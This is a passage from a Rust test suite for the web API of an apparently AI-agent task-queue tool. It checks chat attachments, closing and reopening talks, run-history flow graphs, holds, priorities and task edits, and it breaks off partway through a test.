9568                &[("Content-Type", "image/png")],
9569                b"<html>not a picture</html>",
9570            )
9571            .await;
9572        assert!((400..500).contains(&res.status), "{}", res.body);
9573    }
9574
9575    #[tokio::test]
9576    async fn an_unknown_attachment_id_is_a_404() {
9577        let f = Fixture::start().await;
9578        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
9579
9580        let res = f
9581            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
9582            .await;
9583        assert_eq!(res.status, 404, "{}", res.body);
9584    }
9585
9586    #[tokio::test]
9587    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
9588        let f = Fixture::start().await;
9589        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
9590
9591        let uploaded = f
9592            .post_bytes(
9593                &format!("/api/talks/{id}/attachments"),
9594                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9595                PNG_BYTES,
9596            )
9597            .await;
9598        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
9599        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
9600
9601        let res = f
9602            .post(
9603                &format!("/api/talks/{id}/say"),
9604                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
9605            )
9606            .await;
9607        assert_eq!(res.status, 202, "{}", res.body);
9608        let queued = res.json();
9609        let turns = queued["turns"].as_array().expect("turns array");
9610        assert_eq!(
9611            turns.len(),
9612            1,
9613            "an empty body with an attachment is still a turn: {queued}"
9614        );
9615        assert_eq!(turns[0]["who"], "operator");
9616        assert_eq!(turns[0]["body"], "");
9617        let atts = turns[0]["attachments"]
9618            .as_array()
9619            .expect("attachments array");
9620        assert_eq!(atts.len(), 1);
9621        assert_eq!(atts[0]["id"], att_id);
9622        assert_eq!(atts[0]["mime"], "image/png");
9623
9624        // Not only in the response: `record` flushes to disk before the
9625        // agent's own turn is even spawned.
9626        let on_disk = f.talks().get(&id).expect("get");
9627        assert_eq!(on_disk.turns[0].attachments.len(), 1);
9628        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
9629    }
9630
9631    #[tokio::test]
9632    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
9633        let f = Fixture::start().await;
9634        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
9635
9636        let res = f
9637            .post(
9638                &format!("/api/talks/{id}/say"),
9639                Some(&format!(
9640                    r#"{{"text":"hi","attachments":["{}"]}}"#,
9641                    "a".repeat(32)
9642                )),
9643            )
9644            .await;
9645        assert!((400..500).contains(&res.status), "{}", res.body);
9646        assert!(res.body.contains("unknown attachment"), "{}", res.body);
9647
9648        let on_disk = f.talks().get(&id).expect("get");
9649        assert!(
9650            on_disk.turns.is_empty(),
9651            "a rejected attachment id must not partially record the turn: {:?}",
9652            on_disk.turns
9653        );
9654    }
9655
9656    #[tokio::test]
9657    async fn talk_close_makes_the_talk_refuse_further_turns() {
9658        let f = Fixture::start().await;
9659        let id = seed_talk(&f, "20260904-014455-cd34", "open");
9660
9661        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9662        assert_eq!(closed.status, 200, "{}", closed.body);
9663        assert_eq!(closed.json()["status"], "closed");
9664
9665        // Idempotent: closing an already-closed talk is not an error.
9666        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
9667        assert_eq!(closed_again.status, 200);
9668        assert_eq!(closed_again.json()["status"], "closed");
9669
9670        let said = f
9671            .post(
9672                &format!("/api/talks/{id}/say"),
9673                Some(r#"{"text":"too late"}"#),
9674            )
9675            .await;
9676        assert_eq!(said.status, 409, "{}", said.body);
9677    }
9678
9679    #[tokio::test]
9680    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
9681        let (_tmp, _repo, f) = talk_fixture().await;
9682        let id = f.post("/api/talks", None).await.json()["id"]
9683            .as_str()
9684            .expect("id")
9685            .to_owned();
9686        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
9687        assert_eq!(closed.status, 200, "{}", closed.body);
9688
9689        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9690        assert_eq!(reopened.status, 200, "{}", reopened.body);
9691        assert_eq!(reopened.json()["status"], "open");
9692
9693        // Idempotent: reopening an already-open talk is not an error.
9694        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
9695        assert_eq!(reopened_again.status, 200);
9696        assert_eq!(reopened_again.json()["status"], "open");
9697
9698        let said = f
9699            .post(
9700                &format!("/api/talks/{id}/say"),
9701                Some(r#"{"text":"still there?"}"#),
9702            )
9703            .await;
9704        assert_eq!(
9705            said.status, 202,
9706            "a reopened talk accepts turns again: {}",
9707            said.body
9708        );
9709    }
9710
9711    #[tokio::test]
9712    async fn talk_reopen_on_an_unknown_id_is_404() {
9713        let f = Fixture::start().await;
9714        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
9715        assert_eq!(res.status, 404, "{}", res.body);
9716    }
9717
9718    #[tokio::test]
9719    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
9720        let f = Fixture::start().await;
9721        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
9722
9723        let deleted = f.delete(&format!("/api/talks/{id}")).await;
9724        assert_eq!(deleted.status, 204, "{}", deleted.body);
9725
9726        let after = f.get(&format!("/api/talks/{id}")).await;
9727        assert_eq!(after.status, 404, "{}", after.body);
9728
9729        let listed = f.get("/api/talks").await.json();
9730        assert!(
9731            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
9732            "a deleted talk must not linger in the list: {listed}"
9733        );
9734    }
9735
9736    #[tokio::test]
9737    async fn talk_delete_on_an_unknown_id_is_404() {
9738        let f = Fixture::start().await;
9739        let res = f.delete("/api/talks/nonexistent-id").await;
9740        assert_eq!(res.status, 404, "{}", res.body);
9741    }
9742
9743    /// A task's page lists every run it ever had, in order, and says what kind
9744    /// of attempt each was - including a resume, which re-pushes the same run
9745    /// id, and a run whose record this build cannot read.
9746    #[tokio::test]
9747    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
9748        let f = Fixture::start().await;
9749        let (a, b, gone) = (
9750            "20260902-140501-aaaa",
9751            "20260902-140502-bbbb",
9752            "20260902-140503-cccc",
9753        );
9754        write_run(&f.runs(), a, RunStatus::Stalled);
9755        let mut review = RunState::new(
9756            PathBuf::from("/repo/magi"),
9757            "main".to_owned(),
9758            "0123456789abcdef".to_owned(),
9759            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
9760                .to_owned(),
9761            Config::default(),
9762        );
9763        review.id = b.to_owned();
9764        review.status = RunStatus::Merged;
9765        write_state(&f.runs(), &review);
9766
9767        let mut task = Task::new(
9768            "retry".to_owned(),
9769            "Do the thing".to_owned(),
9770            PathBuf::from("/repo/magi"),
9771            Source::Human,
9772        );
9773        task.start(a.to_owned());
9774        task.stall("quota");
9775        task.start(a.to_owned());
9776        task.start(b.to_owned());
9777        task.start(gone.to_owned());
9778        f.queue().put(&mut task).expect("file the task");
9779
9780        let res = f.get(&format!("/api/queue/{}", task.id)).await;
9781        assert_eq!(res.status, 200, "{}", res.body);
9782        let v = res.json();
9783        let h = v["history"].as_array().expect("history");
9784        assert_eq!(h.len(), 4, "{v}");
9785        assert_eq!(h[0]["kind"], "competition");
9786        assert_eq!(h[0]["status"], "stalled");
9787        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
9788        assert_eq!(h[1]["kind"], "resume", "{v}");
9789        assert!(
9790            h[0]["outcome"]
9791                .as_str()
9792                .unwrap()
9793                .contains("unknown. Pass #2"),
9794            "an earlier pass of a resumed run must not claim the final outcome: {v}"
9795        );
9796        assert!(
9797            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
9798            "{v}"
9799        );
9800        assert!(
9801            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
9802            "an unrecorded cause must not be narrated as an operator park: {v}"
9803        );
9804        assert_eq!(h[2]["kind"], "review");
9805        assert!(
9806            h[2]["description"]
9807                .as_str()
9808                .unwrap()
9809                .contains("magi/aaaa/A")
9810        );
9811        assert_eq!(h[2]["status"], "merged");
9812        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
9813        assert_eq!(v["runs_unreadable"], 1);
9814        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
9815        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
9816        assert_eq!(nodes[4]["note"], "unreadable");
9817        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
9818        assert_eq!(v["instruction"], "Do the thing");
9819        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
9820
9821        // The run's own page links back to the task.
9822        let run = f.get(&format!("/api/runs/{a}")).await.json();
9823        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
9824
9825        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
9826    }
9827
9828    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
9829        let mut s = RunState::new(
9830            PathBuf::from("/repo/magi"),
9831            "main".to_owned(),
9832            "0123456789abcdef".to_owned(),
9833            "Do it".to_owned(),
9834            Config::default(),
9835        );
9836        s.status = status;
9837        edit(&mut s);
9838        s
9839    }
9840
9841    fn flow_task(runs: &[&str]) -> Task {
9842        let mut t = Task::new(
9843            "t".to_owned(),
9844            "Do it".to_owned(),
9845            PathBuf::from("/repo/magi"),
9846            Source::Human,
9847        );
9848        for r in runs {
9849            t.start((*r).to_owned());
9850        }
9851        t
9852    }
9853
9854    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9855        let h = task_history(task, |id| {
9856            states
9857                .iter()
9858                .find(|(i, _)| *i == id)
9859                .and_then(|(_, s)| s.clone())
9860        });
9861        task_flow(task, &h, 5)
9862    }
9863
9864    #[test]
9865    fn flow_opens_with_the_chat_that_queued_the_task() {
9866        let mut t = flow_task(&[]);
9867        t.source = Source::Agent {
9868            run: "a b/c".to_owned(),
9869            node: crate::queue::CHAT_NODE.to_owned(),
9870        };
9871        let f = flow_for(&t, &[]);
9872        assert_eq!(f.nodes[0].key, "chat");
9873        assert_eq!(f.nodes[0].kind, "chat");
9874        assert_eq!(
9875            f.nodes[0].label,
9876            format!("Chat {}", crate::queue::short("a b/c"))
9877        );
9878        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9879        assert_eq!(f.nodes[1].key, "start");
9880        assert_eq!(
9881            f.edges[0],
9882            FlowEdge {
9883                from: "chat".to_owned(),
9884                to: "start".to_owned(),
9885                label: "queued from chat".to_owned(),
9886                attempt: AttemptCost::None,
9887            }
9888        );
9889    }
9890
9891    #[test]
9892    fn flow_has_no_chat_box_for_other_sources() {
9893        for source in [
9894            Source::Human,
9895            Source::Issue {
9896                number: 3,
9897                repo: "o/r".to_owned(),
9898            },
9899            Source::Agent {
9900                run: "20260904-014455-ab12".to_owned(),
9901                node: "implement".to_owned(),
9902            },
9903        ] {
9904            let mut t = flow_task(&[]);
9905            t.source = source;
9906            let f = flow_for(&t, &[]);
9907            assert_eq!(f.nodes[0].key, "start");
9908            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9909            assert!(f.edges.iter().all(|e| e.from != "chat"));
9910        }
9911    }
9912
9913    const FA: &str = "20260902-140501-aaaa";
9914    const FB: &str = "20260902-140502-bbbb";
9915
9916    #[test]
9917    fn flow_follows_blocked_retry_merged_to_done() {
9918        let mut t = flow_task(&[FA, FB]);
9919        t.status = TaskStatus::Done;
9920        let f = flow_for(
9921            &t,
9922            &[
9923                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9924                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9925            ],
9926        );
9927        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9928        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9929        assert_eq!(f.edges.len(), 3);
9930        assert_eq!(f.edges[0].label, "claimed");
9931        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9932        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9933        assert_eq!(f.edges[2].label, "merged \u{2192} done");
9934        assert_eq!(
9935            f.nodes[2].href.as_deref(),
9936            Some("#/runs/20260902-140502-bbbb")
9937        );
9938        assert!(f.nodes[2].decided);
9939    }
9940
9941    #[test]
9942    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9943        let quota = || {
9944            flow_run(RunStatus::Stalled, |s| {
9945                s.quota.push(crate::run::QuotaLoss {
9946                    seat: "judge-1".to_owned(),
9947                    node: "judge".to_owned(),
9948                    at: Timestamp::now(),
9949                    reset: None,
9950                })
9951            })
9952        };
9953        let mut t = flow_task(&[FA, FA]);
9954        t.status = TaskStatus::Queued;
9955        let f = flow_for(&t, &[(FA, Some(quota()))]);
9956        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9957        assert_eq!(f.nodes[1].note, Some("interrupted"));
9958        assert_eq!(
9959            f.nodes[1].status, None,
9960            "no outcome copied onto an earlier pass"
9961        );
9962        assert_eq!(
9963            f.edges[1].attempt,
9964            AttemptCost::Unknown,
9965            "a resume does not prove the earlier pass was refunded"
9966        );
9967        assert!(f.edges[1].label.contains("resume the same run"));
9968        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9969        assert_eq!(
9970            f.edges[2].label,
9971            "stalled after a resume, refund unknown \u{2192} queued"
9972        );
9973        assert!(!f.nodes[2].decided, "a stall is not a decision");
9974        assert_eq!(f.nodes[2].note, Some("no verdict"));
9975    }
9976
9977    #[test]
9978    fn flow_single_pass_quota_stall_is_refunded() {
9979        let t = flow_task(&[FA]);
9980        let f = flow_for(
9981            &t,
9982            &[(
9983                FA,
9984                Some(flow_run(RunStatus::Stalled, |s| {
9985                    s.quota.push(crate::run::QuotaLoss {
9986                        seat: "judge-1".to_owned(),
9987                        node: "judge".to_owned(),
9988                        at: Timestamp::now(),
9989                        reset: None,
9990                    })
9991                })),
9992            )],
9993        );
9994        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9995    }
9996
9997    #[test]
9998    fn flow_parked_refunds_and_stall_without_quota_spends() {
9999        let mut t = flow_task(&[FA]);
10000        t.status = TaskStatus::Queued;
10001        let f = flow_for(
10002            &t,
10003            &[(
10004                FA,
10005                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10006            )],
10007        );
10008        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10009        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10010        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10011        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10012        assert!(!f.nodes[1].decided);
10013    }
10014
10015    #[test]
10016    fn flow_keeps_an_unreadable_run_as_its_own_node() {
10017        let t = flow_task(&[FA, FB]);
10018        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10019        assert_eq!(f.nodes[1].note, Some("unreadable"));
10020        assert!(!f.nodes[1].readable);
10021        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10022        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10023    }
10024
10025    #[test]
10026    fn flow_names_the_branch_of_a_review_only_run() {
10027        let t = flow_task(&[FA]);
10028        let f = flow_for(
10029            &t,
10030            &[(
10031                FA,
10032                Some(flow_run(RunStatus::Merged, |s| {
10033                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10034                })),
10035            )],
10036        );
10037        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10038        assert_eq!(
10039            f.nodes[1].detail.as_deref(),
10040            Some("review-only run of branch magi/x/A")
10041        );
10042    }
10043
10044    #[test]
10045    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10046        let mut t = flow_task(&[FA]);
10047        t.status = TaskStatus::Held;
10048        let pr = crate::run::PrRecord {
10049            url: "https://example.test/pr/1".to_owned(),
10050            number: 1,
10051            state: "open".to_owned(),
10052            checks: "green".to_owned(),
10053            round: 0,
10054            rounds: 3,
10055            red_at_merge: Vec::new(),
10056        };
10057        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10058        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10059        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10060        t.status = TaskStatus::Done;
10061        let f = flow_for(&t, &[(FA, Some(blocked))]);
10062        assert_eq!(f.edges[1].label, "closed by hand: task is done");
10063    }
10064
10065    #[test]
10066    fn flow_with_no_runs_goes_from_queued_to_queued() {
10067        let t = flow_task(&[]);
10068        let f = flow_for(&t, &[]);
10069        assert_eq!(f.nodes.len(), 2);
10070        assert_eq!(f.edges.len(), 1);
10071        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10072        assert_eq!(f.edges[0].attempt, AttemptCost::None);
10073    }
10074
10075    /// A run parked mid-flight keeps a non-terminal status; the page must
10076    /// still say why it stopped and that the attempt came back.
10077    #[test]
10078    fn a_parked_non_terminal_run_is_explained_as_parked() {
10079        let mut s = RunState::new(
10080            PathBuf::from("/repo/magi"),
10081            "main".to_owned(),
10082            "0123456789abcdef".to_owned(),
10083            "Do it".to_owned(),
10084            Config::default(),
10085        );
10086        s.status = RunStatus::Implementing;
10087        s.parked = true;
10088        let task = Task::new(
10089            "t".to_owned(),
10090            "Do it".to_owned(),
10091            PathBuf::from("/repo/magi"),
10092            Source::Human,
10093        );
10094        let v = task_run_view(
10095            "20260902-140501-aaaa",
10096            Some(&s),
10097            RunSlot {
10098                n: 1,
10099                resumed: false,
10100                resumed_later: None,
10101                prior: None,
10102                last: true,
10103            },
10104            &task,
10105        );
10106        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10107    }
10108
10109    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10110        let mut s = flow_run(RunStatus::Implementing, edit);
10111        s.parked = false;
10112        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10113        task_run_view(
10114            "20260902-140501-aaaa",
10115            Some(&s),
10116            RunSlot {
10117                n: 1,
10118                resumed: false,
10119                resumed_later: Some(2),
10120                prior: None,
10121                last: false,
10122            },
10123            &task,
10124        )
10125    }
10126
10127    #[test]
10128    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10129        let v = earlier_pass_view(|_| {});
10130        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10131        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10132        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10133        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10134        assert_eq!(v.exit, RunExit::Interrupted);
10135        assert_eq!(v.attempt, AttemptCost::Unknown);
10136    }
10137
10138    #[test]
10139    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10140        let v = earlier_pass_view(|s| {
10141            s.quota.push(crate::run::QuotaLoss {
10142                seat: "judge-1".to_owned(),
10143                node: "judge".to_owned(),
10144                at: Timestamp::now(),
10145                reset: None,
10146            });
10147        });
10148        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10149        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10150        assert_eq!(v.attempt, AttemptCost::Unknown);
10151    }
10152
10153    #[test]
10154    fn the_current_pass_states_its_recorded_cause_and_cost() {
10155        let slot = || RunSlot {
10156            n: 1,
10157            resumed: false,
10158            resumed_later: None,
10159            prior: None,
10160            last: true,
10161        };
10162        let task = flow_task(&["20260902-140501-aaaa"]);
10163        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10164        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10165        assert_eq!(
10166            (v.exit, v.attempt),
10167            (RunExit::Parked, AttemptCost::Refunded)
10168        );
10169        let spent = flow_run(RunStatus::Blocked, |_| {});
10170        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10171        assert_eq!(v.attempt, AttemptCost::Spent);
10172        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10173    }
10174
10175    #[tokio::test]
10176    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10177        let f = Fixture::start().await;
10178        let queue = f.queue();
10179        let mut task = Task::new(
10180            "spent".to_owned(),
10181            "Try again".to_owned(),
10182            PathBuf::from("/repo/magi"),
10183            Source::Human,
10184        );
10185        task.start("20260902-140502-bbbb".to_owned());
10186        task.fail("agent gave up", 9);
10187        queue.put(&mut task).expect("file the task");
10188
10189        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10190        assert_eq!(held.status, 200);
10191        assert_eq!(held.json()["status_str"], "held");
10192
10193        let released = f
10194            .post(&format!("/api/queue/{}/release", task.id), None)
10195            .await;
10196        assert_eq!(released.status, 200);
10197        assert_eq!(released.json()["status_str"], "queued");
10198        assert_eq!(
10199            released.json()["attempts"],
10200            0,
10201            "release is a real second chance, not an instant re-hold"
10202        );
10203        assert_eq!(
10204            queue.get(&task.id).expect("reload").status,
10205            TaskStatus::Queued,
10206            "the change is on disk, not only in the reply"
10207        );
10208        assert!(
10209            !f.home
10210                .path()
10211                .join("queue")
10212                .join(format!("{}.lock", task.id))
10213                .exists(),
10214            "the claim the mutation took is released again"
10215        );
10216    }
10217
10218    #[tokio::test]
10219    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10220        let f = Fixture::start().await;
10221        let queue = f.queue();
10222        let mut task = Task::new(
10223            "busy".to_owned(),
10224            "Running right now".to_owned(),
10225            PathBuf::from("/repo/magi"),
10226            Source::Human,
10227        );
10228        queue.put(&mut task).expect("file the task");
10229        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10230
10231        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10232
10233        assert_eq!(res.status, 409);
10234        assert_eq!(
10235            queue.get(&task.id).expect("reload").status,
10236            TaskStatus::Queued,
10237            "the refused hold changed nothing"
10238        );
10239    }
10240
10241    #[tokio::test]
10242    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10243        let f = Fixture::start().await;
10244        let queue = f.queue();
10245        let mut task = Task::new(
10246            "waiting on the migration".to_owned(),
10247            "Do the thing".to_owned(),
10248            PathBuf::from("/repo/magi"),
10249            Source::Human,
10250        );
10251        queue.put(&mut task).expect("file the task");
10252
10253        let held = f
10254            .post(
10255                &format!("/api/queue/{}/hold", task.id),
10256                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10257            )
10258            .await;
10259        assert_eq!(held.status, 200, "{}", held.body);
10260        assert_eq!(held.json()["status_str"], "held");
10261        assert_eq!(
10262            held.json()["hold_reason"],
10263            "waiting for 20260101-000000-aaaa to land"
10264        );
10265
10266        let listed = f.get("/api/queue").await.json();
10267        assert_eq!(
10268            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10269            "the card reads the reason off the same list route"
10270        );
10271
10272        // A hold with no body at all must keep working - most holds have no
10273        // reason to give.
10274        let mut plain = Task::new(
10275            "no reason given".to_owned(),
10276            "Do another thing".to_owned(),
10277            PathBuf::from("/repo/magi"),
10278            Source::Human,
10279        );
10280        queue.put(&mut plain).expect("file the task");
10281        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10282        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10283        assert!(held_plain.json()["hold_reason"].is_null());
10284
10285        let released = f
10286            .post(&format!("/api/queue/{}/release", task.id), None)
10287            .await;
10288        assert_eq!(released.status, 200);
10289        assert!(
10290            released.json()["hold_reason"].is_null(),
10291            "a release must clear the reason so the next hold does not inherit it"
10292        );
10293    }
10294
10295    #[tokio::test]
10296    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10297        let f = Fixture::start().await;
10298        let queue = f.queue();
10299        let mut older = Task::new(
10300            "filed first".to_owned(),
10301            "x".to_owned(),
10302            PathBuf::from("/repo/magi"),
10303            Source::Human,
10304        );
10305        older.id = "20260101-000001-aaaa".to_owned();
10306        let mut newer = Task::new(
10307            "filed second".to_owned(),
10308            "x".to_owned(),
10309            PathBuf::from("/repo/magi"),
10310            Source::Human,
10311        );
10312        newer.id = "20260101-000002-bbbb".to_owned();
10313        queue.put(&mut older).expect("file older");
10314        queue.put(&mut newer).expect("file newer");
10315
10316        // Equal priority: the newer task leads, the same order the old
10317        // newest-first `list()` already gave every equal-priority queue.
10318        let before = f.get("/api/queue").await.json();
10319        assert_eq!(before[0]["id"], newer.id);
10320        assert_eq!(before[1]["id"], older.id);
10321
10322        // Raising the *older* task is the meaningful case: it can only lead
10323        // now because its priority says so, not because it happens to be
10324        // newest.
10325        let raised = f
10326            .post(
10327                &format!("/api/queue/{}/priority", older.id),
10328                Some(r#"{"priority":10}"#),
10329            )
10330            .await;
10331        assert_eq!(raised.status, 200, "{}", raised.body);
10332        assert_eq!(raised.json()["priority"], 10);
10333
10334        let after = f.get("/api/queue").await.json();
10335        let names: Vec<&str> = after
10336            .as_array()
10337            .unwrap()
10338            .iter()
10339            .map(|t| t["id"].as_str().unwrap())
10340            .collect();
10341        // Highest priority first, which is the order next_runnable and
10342        // `magi task list` both use - GET /api/queue must agree with it
10343        // immediately, not just once the loop claims the task.
10344        assert_eq!(names[0], older.id, "the raised task now sorts first");
10345    }
10346
10347    #[tokio::test]
10348    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10349        let f = Fixture::start().await;
10350        let queue = f.queue();
10351        let mut task = Task::new(
10352            "in flight".to_owned(),
10353            "x".to_owned(),
10354            PathBuf::from("/repo/magi"),
10355            Source::Human,
10356        );
10357        task.start("20260902-140502-bbbb".to_owned());
10358        queue.put(&mut task).expect("file the task");
10359
10360        let res = f
10361            .post(
10362                &format!("/api/queue/{}/priority", task.id),
10363                Some(r#"{"priority":9}"#),
10364            )
10365            .await;
10366        assert_eq!(res.status, 400, "{}", res.body);
10367        assert!(
10368            res.json()["error"]
10369                .as_str()
10370                .is_some_and(|e| e.contains("running")),
10371            "{}",
10372            res.body
10373        );
10374        assert_eq!(
10375            queue.get(&task.id).expect("reload").priority,
10376            0,
10377            "the refused write must not partially apply"
10378        );
10379    }
10380
10381    #[tokio::test]
10382    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10383        let f = Fixture::start().await;
10384        let queue = f.queue();
10385        let mut task = Task::new(
10386            "old title".to_owned(),
10387            "old instruction".to_owned(),
10388            PathBuf::from("/repo/magi"),
10389            Source::Agent {
10390                run: "20260101-000000-beef".to_owned(),
10391                node: "implement".to_owned(),
10392            },
10393        );
10394        task.runs.push("20260101-000000-beef".to_owned());
10395        queue.put(&mut task).expect("file the task");
10396        let created_at = task.created_at;
10397
10398        let edited = f
10399            .post(
10400                &format!("/api/queue/{}/edit", task.id),
10401                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10402            )
10403            .await;
10404        assert_eq!(edited.status, 200, "{}", edited.body);
10405        let body = edited.json();
10406        assert_eq!(body["title"], "new title");
10407        assert_eq!(body["instruction"], "new instruction");
10408        assert_eq!(body["id"], task.id, "editing must not mint a new id");
10409        assert_eq!(body["created_at"], created_at.to_string());
10410        assert_eq!(
10411            body["source"]["kind"], "agent",
10412            "editing a task an agent filed must not turn it human: {body}"
10413        );
10414        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10415
10416        let reloaded = queue.get(&task.id).expect("reload");
10417        assert_eq!(reloaded.title, "new title");
10418        assert_eq!(reloaded.instruction, "new instruction");
10419    }
10420
10421    #[tokio::test]
10422    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10423        // The judge is an agent now: a repo whose only agent answers
10424        // "duplicate" stands in for it, so the refusal is the judge's.
10425        let tmp = TempDir::new().expect("tempdir");
10426        let repo = tmp.path().join("repo");
10427        std::fs::create_dir_all(&repo).expect("repo dir");
10428        let judge = MOCK_AGENT_TOML.replace(
10429            "printf ok",
10430            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10431        );
10432        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10433        let f = Fixture::with_repo(repo.clone()).await;
10434        let queue = f.queue();
10435        let mut owner = Task::new(
10436            "owner".to_owned(),
10437            "review it".to_owned(),
10438            repo.clone(),
10439            Source::Human,
10440        );
10441        owner.review_branch = Some("magi/ab12/A".to_owned());
10442        queue.put(&mut owner).expect("file the owner");
10443        let mut task = Task::new(
10444            "draft".to_owned(),
10445            "old".to_owned(),
10446            repo.clone(),
10447            Source::Human,
10448        );
10449        queue.put(&mut task).expect("file the draft");
10450        let url = format!("/api/queue/{}/edit", task.id);
10451
10452        let refused = f
10453            .post(
10454                &url,
10455                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10456            )
10457            .await;
10458        assert_eq!(refused.status, 409, "{}", refused.body);
10459        let msg = refused.json()["error"]
10460            .as_str()
10461            .unwrap_or_default()
10462            .to_owned();
10463        assert!(
10464            msg.contains("magi/ab12/A") && msg.contains("force"),
10465            "{msg}"
10466        );
10467        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10468
10469        let forced = f
10470            .post(
10471                &url,
10472                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10473            )
10474            .await;
10475        assert_eq!(forced.status, 200, "{}", forced.body);
10476    }
10477
10478    #[tokio::test]
10479    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10480        let f = Fixture::start().await;
10481        let queue = f.queue();
10482        let mut task = Task::new(
10483            "in flight".to_owned(),
10484            "do not touch".to_owned(),
10485            PathBuf::from("/repo/magi"),
10486            Source::Human,
10487        );
